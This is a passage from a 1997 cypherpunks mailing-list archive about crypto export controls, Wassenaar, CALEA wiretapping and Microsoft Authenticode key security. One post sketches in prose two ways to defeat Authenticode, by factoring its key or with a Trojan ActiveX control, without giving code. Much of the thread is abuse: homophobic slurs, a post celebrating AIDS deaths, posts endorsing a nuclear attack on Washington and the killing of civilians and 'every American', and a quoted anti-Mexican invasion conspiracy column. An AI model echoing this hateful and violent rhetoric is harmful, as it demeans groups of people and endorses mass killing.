It criticizes government's unwarranted use of secrecy as a means of control.

The main report is 155 pages long with appendices of 120 pages, including
a history of the abuse of secrecy in the NatSec era. It also has a section on 
"Information Insecurity" which addresses impending moves by the gov to
deal with threats to the Racketeer-Influenced "if you knew what we 
know" Criminal Org.

The NYT report and editorial is at:

   http://jya.com/newsec.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Mar 1997 13:45:06 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Wassenaar Arrangement
In-Reply-To: <3.0.1.32.19970305081729.006eb4bc@mail.io.com>
Message-ID: <199703052139.VAA00545@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Here's a ref Peter Gutmann provided on Wassenaar:

	http://www.sipri.se/projects/armstrade/wass_initialelements.html

No mention of crypto, probably because appendix 5 is missing:

: Appendix 5
: 
: SIPRI NOTE: Appendix 5 consists of a List of Dual-Use Goods and
: Technologies and a Munitions List. These documents will be appended
: once obtained.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Mar 1997 21:57:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ming-Ching Tiew's crypto programs
Message-ID: <3.0.1.32.19970305215435.0063f538@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Ming-Ching Tiew <mctiew@csi.po.my> posted the following article to
sci.crypt.  Aside from its content being interesting, it poses
an interesting set of problems for ITAR proponents (:-) -
he's Malaysian, working from Malaysia, but his web page is on a 
US-located free-web-page server.  Some of the code on it is
marked US-only; other code is world-readable and on a machine in Germany.

=======================================================================
Subject: 	Cryptlib-based Win32 File Encryptor
Date:    	Tue, 04 Mar 1997 21:01:28 -0800
From: 	Ming-Ching Tiew <mctiew@csi.po.my>
Organization:	Unconfigured
Newsgroups:	alt.security.pgp, sci.crypt, comp.security.pgp.discuss


Here at which you look for my Win32 File Encryptor
which uses "Cryptlib" :-

  http://www.geocities.com/SiliconValley/Heights/8298

The program is provided in source and binary. Non-US 
people should follow the re-direct and get it from 
the non-US site.

Some of the highlites ( all crypto-features derived from 
Cryptlib, credit to Peter Gutmann ),

(1) You don't use PGP for encryption and decryption.
    PGP is only used for Key Management.

(2) This is not a shell.

(3) Configure encryption options thru' GUI and
    save to registry. For example, if you don't 
    like IDEA, use something else, like Blowfish.

Find out for yourself "Cryptlib", the most comprehensive 
and yet freely available crypto library.

Ming-Ching
========================================================

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Mar 1997 22:12:07 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: [NOISE] Re: Wassenaar Arrangement
In-Reply-To: <199703060144.KAA27507@ns.barrier-free.co.jp>
Message-ID: <3.0.1.32.19970305220054.0064a6d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:30 PM 3/5/97 -0500, Declan McCullagh wrote:
>I've asked a friend at the State Department to send me a copy of the
>Arrangement. I'll forward it if it appears in my inbox.
>
>I also talked a little about the Wassenaar Arrangement, or at least
>Japan's interpretation of it, in a Netly article in late October. Check
>out http://netlynews.com/ in the Politics archive. 

"The Wassenaar Arrangement" ... 
really sounds like the title of a bad Robert Ludlum novel

rather than a "respectable" document a "respectable" government would sign,
much less a quasi-treaty that they want to pretend has legal force...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 5 Mar 1997 19:32:02 -0800 (PST)
To: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Subject: Re: Wassenaar Arrangement
In-Reply-To: <199703060144.KAA27507@ns.barrier-free.co.jp>
Message-ID: <Pine.GSO.3.95.970305222550.8248D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I've asked a friend at the State Department to send me a copy of the
Arrangement. I'll forward it if it appears in my inbox.

I also talked a little about the Wassenaar Arrangement, or at least
Japan's interpretation of it, in a Netly article in late October. Check
out http://netlynews.com/ in the Politics archive. 

-Declan


On Thu, 6 Mar 1997, Hayashi_Tsuyoshi wrote:

> On Wed, 5 Mar 1997 21:39:54 GMT, Adam Back said:
>  >Here's a ref Peter Gutmann provided on Wassenaar:
>  >
>  >	http://www.sipri.se/projects/armstrade/wass_initialelements.html
>  >
>  >No mention of crypto, probably because appendix 5 is missing:
> 
> There is my hand writting memo of (a part of, not full)
> appendix 5.  If no one say URLs for appendix 5, I will
> upload it here.
> 
> ///hayashi
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 5 Mar 1997 23:23:19 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: truth (lack thereof) and the press
In-Reply-To: <199703060402.VAA08949@infowest.com>
Message-ID: <331E5A5D.7E37@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:

>     WHEN CULTURES COLLIDE
>     By Bob Djurdjevic
> 
>     The Mexican government itself is working to infiltrate and subvert
>     our government.  They are working to grant dual nationality or
>     citizenship to encourage Mexican to become U.S. citizens so they can
>     "vote for Mexican interests" in the United States.

>     The United States is being
>     invaded by Mexico. The intent is to retake the American Southwest and
>     rename it Aztlan. Those who resist are called racist and will are
>     subject to attack.
> 
>     Published in THE WASHINGTON TIMES
>     BOB DJURDJEVIC, August 18, 1996

  Think how much greater the threat would be if the U.S. was actually
run by the voters.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 5 Mar 1997 23:23:15 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: EU-FBI Wiretap Pact and CALEA (Digital Telephony)
In-Reply-To: <199703060335.TAA23612@mail.pacifier.com>
Message-ID: <331E710E.497D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 02:25 AM 3/3/97 -0800, Tim May wrote:
> >So, either the reporters here have it wrong, by implying CALEA and the
> >joint U.S.-U.K. agreeement applies to _e-mail_, or in fact CALEA is being
> >seen as applicable to e-mail. If the latter, then things are in much, much
> >worse shape than many of us feared.
> >
> >If this interpretation is upheld by the courts, we are in a state of war.
> >--Tim May
> 
> Indeed, we are.   Notice also that there appears to be no illusion that
> these kind of bills are being done due to public demand:  News on this
> subject is essentially nil, particularly in the mainstream news media.

  When one begins adding up all of the ways in which the country is 
being regulated and legislated 'outside' of the influence of the voters,
then it becomes apparent that we acually live in a demon-mockracy.
  It makes for great news when some 'little guy' manages to 'slip one
by' Big Brother, but the reality is that the court system is ruled by
money and power.
  As in the example stated above, much of the legislation proffered by
those elected bears little resemblence to issues that are of genuine
concern to the electorate.
  Any issues that the government can't ramrod through using the methods
above become matters of 'National Security'. The 'law of the land' then
ceases to apply, as 'Emergecy Measures' and secretive regulatory
agencies
write the law with no voting and a single stroke of the pen.

  The government even has the power to negate the ability of the
individual
or group to act in their own interest simply by making laws and
regulations
vague and/or complicated enough that it is unfeasible to act simply
because
of the time, energy, and funds required to do so--not to mention the
'risk'
involved.
  Through use of regulatory approval, or witholding of such, the
government
has the ability to influence the fast-moving course of various areas of
technology. Does anyone here want to make large investments in a product
that they 'may or may not' be able to sell?

  This forum has members in all areas of expertise surrounding crypto
issues,
but can anyone state, unequivocally, all of the finer points surrounding
legislation, regulation, etc., in this area? (Even if you think you
'can'
legally do this-or-that, are you going to do so if told by the
government
that you can't and will be subject to prosecution and/or financial
loss?)
   Do you expect for the laws to apply equally to all in areas of major
government interest? Some companies are 'approved' for export, while, on 
very questionable legal basis, others are 'denied' approval.
   Do you expect this type of gladhanded regulatory approach to be any 
different for CypherPunks remailers, versus military Onion Routers? When
some remailer operator is 'set-up' by the Right Reverend G. Stooge on a
pornography bust, or by G.I.Joe on a terrorism bust, do you expect the 
target to be a CypherPunk or a Vice-Admiral?

  The fact of the matter is, the government is fully capable of burying
the facts on any area of interest they wish, under cover of defending us
from the 'bad guys' lurking in the bushes, and once every four years
they
step into the limelight to decide who gets to spend the next four years
passing another mountain of legislation that, inch by inch, eats away
at the rights and freedoms that are theoretically guaranteed by the
Constitution.
  One has to wonder just how many times in history a vote in favor of
restricting the privacy and rights of citizens was gained by trading off 
a vote affecting 'hog futures'.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 00:25:25 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Ming-Ching Tiew's crypto programs
In-Reply-To: <3.0.1.32.19970305215435.0063f538@popd.ix.netcom.com>
Message-ID: <331E7746.56A7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> Ming-Ching Tiew <mctiew@csi.po.my> 
> he's Malaysian, working from Malaysia, but his web page is on a
> US-located free-web-page server.  Some of the code on it is
> marked US-only; other code is world-readable and on a machine in Germany.
 
> Here at which you look for my Win32 File Encryptor
> which uses "Cryptlib" :- 
>   http://www.geocities.com/SiliconValley/Heights/8298
> 
> The program is provided in source and binary. Non-US
> people should follow the re-direct and get it from
> the non-US site.

  This points out the irony of U.S. citizens being second-class
citizens in the world of crytpography.
  Any commie-terrorist who wishes (no reference to Ming-Ching intended),
can post any type of strong or trojan-filled cryptographical product
that he wishes within our borders, and give pointers to where 
it can be obtained from countries where citizens have more freedom than
those in the U.S.
  In actuality, foreign companies and citizens are free to send us email 
touting "Porn-Hider / The Child Molester's Best Friend", based on strong
encryption. We, on the other hand, can be imprisoned and fined for 
making any level of crypto available for people trying to escape the 
wrath of murderous dictators.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Thu, 6 Mar 1997 04:21:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Secure checksums
Message-ID: <199703061217.EAA27845@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. Mayhem's abysmal grammar, atrocious spelling and 
feeble responses clearly identify him as a product of the 
American education system.

       >\\\|/<
       |_    ;
       (O) (o)
   -OOO--(_)--OOOo- Timmy C. Mayhem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Mar 1997 07:16:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Speech
In-Reply-To: <Pine.SUN.3.91.970306011705.12861C-100000@panix.com>
Message-ID: <mo053D137w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Homosexual Charles Platt <cp@panix.com> writes:
<garbage>
> Dmitri Vulis was kicked off my ISP many months ago for allowing multiple
> logins under his user name and password, presumably so that his friends at
> Brighton Beach could share his account without paying the $10 per month
> for email+Usenet. At the very least, this indicates a certain ... um ...
> lack of class.
<more garbage>

This is a lie with no basis in reality whatsoever.

I'm glad that CHarles Platt and other homosexuals are dying from AIDS.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 6 Mar 1997 05:58:18 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: RE: Microsoft Authenticode key security
In-Reply-To: <L0c53D131w165w@bwalk.dm.com>
Message-ID: <199703060805.IAA31058@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <L0c53D131w165w@bwalk.dm.com>, on 03/05/97 at 07:44 PM,
   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>"Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com> writes:

>> Actually, and sort of to the point, no, the keys never actually ever the
>> BBN box, except as part of a backup procedure in which they are
>> extracted in a doubly-encrypted form for which for security reasons you
>> need the manufacturer's help in restoring.
>>
>> To this day, no human or computer other than the box itself knows the

>But do we necessarily believe what Microsoft people say?

>Dimitri "bought OS/2 1.0 from Microsoft" Vulis

:))))))

If Bill Gates got on national TV and told the world that the sky was blue
I'd have go outside and look for myself. Not that this is just more M$
bashing, I wouldn't trust N$, IBM, Novell, HP, DEC, SUN or any other "big
name" hardware/software company that depends on large government contracts.

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: OS/2: Logic, not magic.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 6 Mar 1997 08:16:22 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Master of fellatio
In-Reply-To: <L1343D1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970306091045.55460A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain






On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Casey Iverson <iverson@usa.net> writes:
> 
> > The rather large mass of Russian dung  a.k.a. Dr.Dimitri Vulis KOTM wrote
> > 
> > >> John Gilmore lied.
> > 
> > Consider the irony of the Russian slime ball master of disinformation
> > (probably trained by the KGB),
> > calling someone *else* a liar.
> > 
> 
> There were plenty of good cryptographers working for the KGB.
> I had the pleasure of meeting a few in persons and communicating
> with many others.
> Filthy lying cocksucker John Gilmore is not worthy to suck their dicks.


Vulis this list is not for sick perverts like you get off it.

> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 6 Mar 1997 08:21:09 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703060336.TAA13790@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970306091800.55460B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 5 Mar 1997, Mix wrote:

> Embedded in Tim C. Maypole's babblings are 
> preposterous lies, wild distortions, child 
> pornography (both as graphic descriptions 
> and in JPEG format), ethnic slurs, and 
> racial epithets.
> 
>       o      o o o   o
>      /~>    <><><>   <> Tim C. Maypole
>   o...(\    ||||||   ||
> 
Vulis keep this crap off the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 6 Mar 1997 08:29:47 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Re: Secure checksums
In-Reply-To: <199703061217.EAA27845@jefferson.hidden.net>
Message-ID: <Pine.A41.3.95.970306092650.55460D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain







On Thu, 6 Mar 1997, Anonymous wrote:

> Timmy C. Mayhem's abysmal grammar, atrocious spelling and 
> feeble responses clearly identify him as a product of the 
> American education system.
> 
>        >\\\|/<
>        |_    ;
>        (O) (o)
>    -OOO--(_)--OOOo- Timmy C. Mayhem
> 

Vulis keep this off the list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 6 Mar 1997 08:31:39 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Speech
In-Reply-To: <mo053D137w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970306092856.55460E-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain






On Thu, 6 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Homosexual Charles Platt <cp@panix.com> writes:
> <garbage>
> > Dmitri Vulis was kicked off my ISP many months ago for allowing multiple
> > logins under his user name and password, presumably so that his friends at
> > Brighton Beach could share his account without paying the $10 per month
> > for email+Usenet. At the very least, this indicates a certain ... um ...
> > lack of class.
> <more garbage>
> 
> This is a lie with no basis in reality whatsoever.
> 
> I'm glad that CHarles Platt and other homosexuals are dying from AIDS.


Vulis you are a lie stay off the list.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 6 Mar 1997 07:13:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Microsoft Authenticode key security
Message-ID: <199703061513.HAA13900@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III writes:
> In <L0c53D131w165w@bwalk.dm.com>, on 03/05/97 at 07:44 PM,
>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> 
> >"Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com> writes:
> 
> >> Actually, and sort of to the point, no, the keys never actually ever the
> >> BBN box, except as part of a backup procedure in which they are
> >> extracted in a doubly-encrypted form for which for security reasons you
> >> need the manufacturer's help in restoring.
> >>
> >> To this day, no human or computer other than the box itself knows the
> 
> >But do we necessarily believe what Microsoft people say?
> 
> If Bill Gates got on national TV and told the world that the sky was blue
> I'd have go outside and look for myself. 

Actually, around Redmond, gray skies are much more common.

Really guys, If you want to attack Authenticode (and I personally 
consider it a bandaid on a dangerous system), then stealing or
buying the key is not the approach to take.

I see two possible approaches to prove it's weakness.

1. If they are using RSA, factor the public key. This depends on it's
length. Considering the amount of cpu people seem to be able to 
muster for distributed cracks, etc, I suspect that 512 bit keys will 
soon be vulnerable (equiv = RSA 155).

2.  Write a Trojan Horse ActiveX control which disables the 
Authenticode checking, then covers it's tracks.

No, I'm not working on either of these.

Peter Trei
trei@process.com

Disclaimer: I speak for myself, not my employer.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Wed, 5 Mar 1997 17:46:05 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Wassenaar Arrangement
In-Reply-To: <199703052139.VAA00545@server.test.net>
Message-ID: <199703060144.KAA27507@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Mar 1997 21:39:54 GMT, Adam Back said:
 >Here's a ref Peter Gutmann provided on Wassenaar:
 >
 >	http://www.sipri.se/projects/armstrade/wass_initialelements.html
 >
 >No mention of crypto, probably because appendix 5 is missing:

There is my hand writting memo of (a part of, not full)
appendix 5.  If no one say URLs for appendix 5, I will
upload it here.

///hayashi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Mar 1997 13:55:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Purifying Washington with Nuclear Flames
In-Reply-To: <199703060752.HAA30906@mailhub.amaranth.com>
Message-ID: <LTL63D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <v03007800af4415448ad4@[207.167.93.63]>, on 03/05/97 at 10:38 PM,
>    "Timothy C. May" <tcmay@got.net> said:
> 
> 
> >At 1:00 AM -0400 3/6/97, E. Allen Smith wrote:
> >>From:	IN%"tcmay@got.net"  "Timothy C. May"  5-MAR-1997 22:59:36.45
> >>
> >>>Too bad your "assassination politics" doesn't extend to entire cities. I
> >>>have concluded that having a terrorist group smuggle a nuke into D.C. woul
> >>>not be altogether a bad thing. Besides dealing with the government problem
> >>>it would also deal with a quarter of a million or more unemployable welfar
> >>>addict leeches.
> >>
> >>	I'm glad you say "altogether"... some of us live (or have friends or
> >>family who live) decidedly too close to D.C. for such to be an attractive
> >>possibility. Besides that, I'm certain there are some innocents in the city
> >>just-born infants, perhaps?
> 
> >War is never clean. Innocents always get caught in the crossfire.
> 
> >If the U.S., for example, had avoided all actions in WW II which might
> >have injured an "innocent" (babies, old women, schoolgirls, and so on...),
> >the war could not have been prosecuted. Now maybe this is one option, one
> >which ardent pacifists prefer, but most of us understand the practical
> >realities that "innocents" often die in wars.
> 
> >Nuking Washington is just a joke, of course. But I wouldn't cry any tears
> >if I woke up one morning, turned on CNN, and was informed that a large
> >crater appeared where D.C. once was.
> 
> I doubt that there would be few that would. :)))
> 
> I have always found the statment of "innocent civilians" to be an odd one
> in a time of war.
> 
> I have always beleived that all citizens held a collective guilt for the
> actions of their government. It is only through the support of the citizens
> can any government opperate wether through active support or through the
> inactivity of not opposing their government. This not only holds true for
> "democracies" for dictatorships as well. As such if the actions of a
> government bring it to war their civilian population is just as fair game
> as their troops in the field.

I wholeheartedly concur.  Nuke Washington, DC.  Kill every American everywhere.
Even if they voted for Perot.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Wed, 5 Mar 1997 21:02:32 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Wassenaar Arrangement
In-Reply-To: <Pine.GSO.3.95.970305222550.8248D-100000@cp.pathfinder.com>
Message-ID: <199703060447.NAA28194@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Mar 1997 22:30:35 -0500 (EST), Declan McCullagh said:
 >I've asked a friend at the State Department to send me a copy of the
 >Arrangement. I'll forward it if it appears in my inbox.

Oh, Lucky.  I'm looking forward to seeing it.

 >I also talked a little about the Wassenaar Arrangement, or at least
 >Japan's interpretation of it, in a Netly article in late October. Check
 >out http://netlynews.com/ in the Politics archive. 

I will read and study it.  Thanks.

///hayashi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 6 Mar 1997 12:44:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Medical Records Security
Message-ID: <1.5.4.32.19970306203738.006b253c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The new "Protecting Electronic Health Information" report by
the National Academy of Sciences is at:

   http://jya.com/pehi.htm  (615K)

There is quite a lot of crypto discussion.

The NY Times featured this report on Page One today.

It's worth reminding that this report and the recent one on
secrecy both fault national encryption policy and emphasize 
that it's time to break the logjam caused by NatSec/LEA
dispute with commerce, and get on with protecting the 
privacy of citizens from government and commerce working 
in cahoots.

Note that commerce is seen as much a threat as government, 
with the looming probablility that government and commerce 
will unite against the citizenry, now as ever, both claiming to
protect from the other, using their phony fight as a camouflage 
for royal screwing rights.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 6 Mar 1997 12:52:51 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Having the smarts to retire early
In-Reply-To: <ukF53D134w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970306154604.12798I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> > > I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
> > > I suppose he studies the bounce messages from mailer deamons too.
> > >
> > > WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FRO
> > > ANY MAILING LIST ON HIS TOAD.COM COMPUTER.
> >
> > Vulis keep your pervert voice off the list.
> 
> I'm not sending anything to cypherpunks@toad.com and in fact I don't
> want the lying, thieving cocksucker John Gilmore to redistribute any
> of my writings via any mailing list at toad.com.


Date: Wed, 05 Mar 97 20:34:53 EST From: "Dr.Dimitri Vulis KOTM"
<dlv@bwalk.dm.com> 
To: cypherpunks@toad.com 
 ^^^^^^^
 {Liar! Liar! Beard on Fire!}
Subject: Re: Having the smarts to retire early





=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 17:38:48 -0800 (PST)
To: trei@process.com
Subject: Re: Microsoft Authenticode key security
In-Reply-To: <199703061513.HAA13900@toad.com>
Message-ID: <331F59E1.1FE7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Peter Trei wrote:
 
> Really guys, If you want to attack Authenticode (and I personally
> consider it a bandaid on a dangerous system), then stealing or
> buying the key is not the approach to take.
> 
> I see two possible approaches to prove it's weakness.
> 
> 1. If they are using RSA, factor the public key. This depends on it's
> length. Considering the amount of cpu people seem to be able to
> muster for distributed cracks, etc, I suspect that 512 bit keys will
> soon be vulnerable (equiv = RSA 155).

  After having done a complete analysis of all the factors involved, 
I have determined that Authenticode could be cracked by the CypherPunks
in less than 72 hours by refraining from using the word 'cocksucker'
in our postings and devoting the saved CPU cycles to the crack.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 18:01:08 -0800 (PST)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: your mail
In-Reply-To: <Pine.A41.3.95.970306091800.55460B-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <331F5D49.2A83@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers wrote:
> 
> On Wed, 5 Mar 1997, Mix wrote:
> 
> > Embedded in Tim C. Maypole's babblings are
> > preposterous lies, wild distortions, child
> > pornography (both as graphic descriptions
> > and in JPEG format), ethnic slurs, and
> > racial epithets.
> >
> >       o      o o o   o
> >      /~>    <><><>   <> Tim C. Maypole
> >   o...(\    ||||||   ||
> >
> Vulis keep this crap off the list.

  Sending another 20 or 30 posts, quoting it in full, and telling people
to keep this crap off of the list, should ensure that it will, indeed,
be kept off the list.
  It might also be a good idea to follow up with another 20 or 30 posts
next week, quoting it in full, to ensure that this crap remains off the
list.
  It's amazing that no one has thought of this approach before.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 17:41:18 -0800 (PST)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: Secure checksums
In-Reply-To: <Pine.A41.3.95.970306092650.55460D-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <331F5E1A.6356@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers wrote:
> 
> On Thu, 6 Mar 1997, Anonymous wrote:
> 
> > Timmy C. Mayhem's abysmal grammar, atrocious spelling and
> > feeble responses clearly identify him as a product of the
> > American education system.
> >
> >        >\\\|/<
> >        |_    ;
> >        (O) (o)
> >    -OOO--(_)--OOOo- Timmy C. Mayhem
> >
> 
> Vulis keep this off the list.

  The headers I received with this don't show it as coming from Vulis.
You are obviously better informed. Please forward the headers you 
received so that we can confront him about it together.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 7 Mar 1997 07:45:12 -0800 (PST)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: Master of fellatio
Message-ID: <857747904.05273.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > Filthy lying cocksucker John Gilmore is not worthy to suck their dicks.
> 
> 
> Vulis this list is not for sick perverts like you get off it.

Pardon? - This is an anarchic list set up precisely because 
